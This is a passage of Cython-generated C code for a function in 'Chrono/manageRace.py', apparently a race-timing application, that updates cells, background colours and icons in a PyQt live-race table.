__pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":174 * brush = QBrush(color) * brush.setStyle(Qt.SolidPattern) * i = Globals.MainWindow.R_RaceLive.item( row, column ) # <<<<<<<<<<<<<< * if i == None: * i = QTableWidgetItem( text ) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_item); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_row, __pyx_v_column}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_row, __pyx_v_column}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_9, __pyx_v_row); __Pyx_INCREF(__pyx_v_column); __Pyx_GIVEREF(__pyx_v_column); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_9, __pyx_v_column); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_v_i = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/manageRace.py":175 * brush.setStyle(Qt.SolidPattern) * i = Globals.MainWindow.R_RaceLive.item( row, column ) * if i == None: # <<<<<<<<<<<<<< * i = QTableWidgetItem( text ) * Globals.MainWindow.R_RaceLive.setItem(row, column, i ) */ __pyx_t_4 = PyObject_RichCompare(__pyx_v_i, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L3_error) __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 175, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_10) { /* "Chrono/manageRace.py":176 * i = Globals.MainWindow.R_RaceLive.item( row, column ) * if i == None: * i = QTableWidgetItem( text ) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setItem(row, column, i ) * else: */ __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_8))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_text); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_text}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_text}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_text); __Pyx_GIVEREF(__pyx_v_text); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_text); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_5, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF_SET(__pyx_v_i, __pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":177 * if i == None: * i = QTableWidgetItem( text ) * Globals.MainWindow.R_RaceLive.setItem(row, column, i ) # <<<<<<<<<<<<<< * else: * i.setText( text ) */ __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_setItem); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_8, __pyx_v_row, __pyx_v_column, __pyx_v_i}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_8, __pyx_v_row, __pyx_v_column, __pyx_v_i}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_8) { __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_8); __pyx_t_8 = NULL; } __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_9, __pyx_v_row); __Pyx_INCREF(__pyx_v_column); __Pyx_GIVEREF(__pyx_v_column); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_9, __pyx_v_column); __Pyx_INCREF(__pyx_v_i); __Pyx_GIVEREF(__pyx_v_i); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_9, __pyx_v_i); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":175 * brush.setStyle(Qt.SolidPattern) * i = Globals.MainWindow.R_RaceLive.item( row, column ) * if i == None: # <<<<<<<<<<<<<< * i = QTableWidgetItem( text ) * Globals.MainWindow.R_RaceLive.setItem(row, column, i ) */ goto __pyx_L11; } /* "Chrono/manageRace.py":179 * Globals.MainWindow.R_RaceLive.setItem(row, column, i ) * else: * i.setText( text ) # <<<<<<<<<<<<<< * i.setBackground( brush ) * if icon is not None: */ /*else*/ { __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_i, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_text); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_text}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_text}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_text); __Pyx_GIVEREF(__pyx_v_text); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_v_text); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __pyx_L11:; /* "Chrono/manageRace.py":180 * else: * i.setText( text ) * i.setBackground( brush ) # <<<<<<<<<<<<<< * if icon is not None: * i.setIcon( icon ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_i, __pyx_n_s_setBackground); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_brush); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_v_brush}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_v_brush}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_INCREF(__pyx_v_brush); __Pyx_GIVEREF(__pyx_v_brush); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_brush); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":181 * i.setText( text ) * i.setBackground( brush ) * if icon is not None: # <<<<<<<<<<<<<< * i.setIcon( icon ) * else: */ __pyx_t_10 = (__pyx_v_icon != Py_None); __pyx_t_11 = (__pyx_t_10 != 0); if (__pyx_t_11) { /* "Chrono/manageRace.py":182 * i.setBackground( brush ) * if icon is not None: * i.setIcon( icon ) # <<<<<<<<<<<<<< * else: * i.setIcon( QIcon() ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_i, __pyx_n_s_setIcon); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_icon); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_icon}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_icon}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_icon); __Pyx_GIVEREF(__pyx_v_icon); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_v_icon); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":181 * i.setText( text ) * i.setBackground( brush ) * if icon is not None: # <<<<<<<<<<<<<< * i.setIcon( icon ) * else: */ goto __pyx_L12; } /* "Chrono/manageRace.py":184 * i.setIcon( icon ) * else: * i.setIcon( QIcon() ) # <<<<<<<<<<<<<< * except Exception as e: * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) */ /*else*/ { __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_i, __pyx_n_s_setIcon); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QIcon); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_7) { __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_8 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 184, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_8}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_8}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __pyx_L12:; /* "Chrono/manageRace.py":171 * def update(self): * def setLine( color, row, column, text, icon = None): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(Qt.SolidPattern) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/manageRace.py":185 * else: * i.setIcon( QIcon() ) * except Exception as e: # <<<<<<<<<<<<<< * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) * print( color ) */ __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_9) { __Pyx_AddTraceback("Chrono.manageRace.manageRace.update.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_7) < 0) __PYX_ERR(0, 185, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_7); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "Chrono/manageRace.py":186 * i.setIcon( QIcon() ) * except Exception as e: * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) # <<<<<<<<<<<<<< * print( color ) * print( e ) */ __pyx_t_8 = PyTuple_New(3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 186, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_row); __Pyx_INCREF(__pyx_v_column); __Pyx_GIVEREF(__pyx_v_column); PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_v_column); __Pyx_INCREF(__pyx_v_text); __Pyx_GIVEREF(__pyx_v_text); PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_v_text); __pyx_t_6 = PyUnicode_Format(__pyx_kp_u_in_update_setLine_color_d_d_s, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 186, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":187 * except Exception as e: * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) * print( color ) # <<<<<<<<<<<<<< * print( e ) * */ __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_v_color); __Pyx_GIVEREF(__pyx_v_color); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_v_color); __pyx_t_8 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_6, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_8); 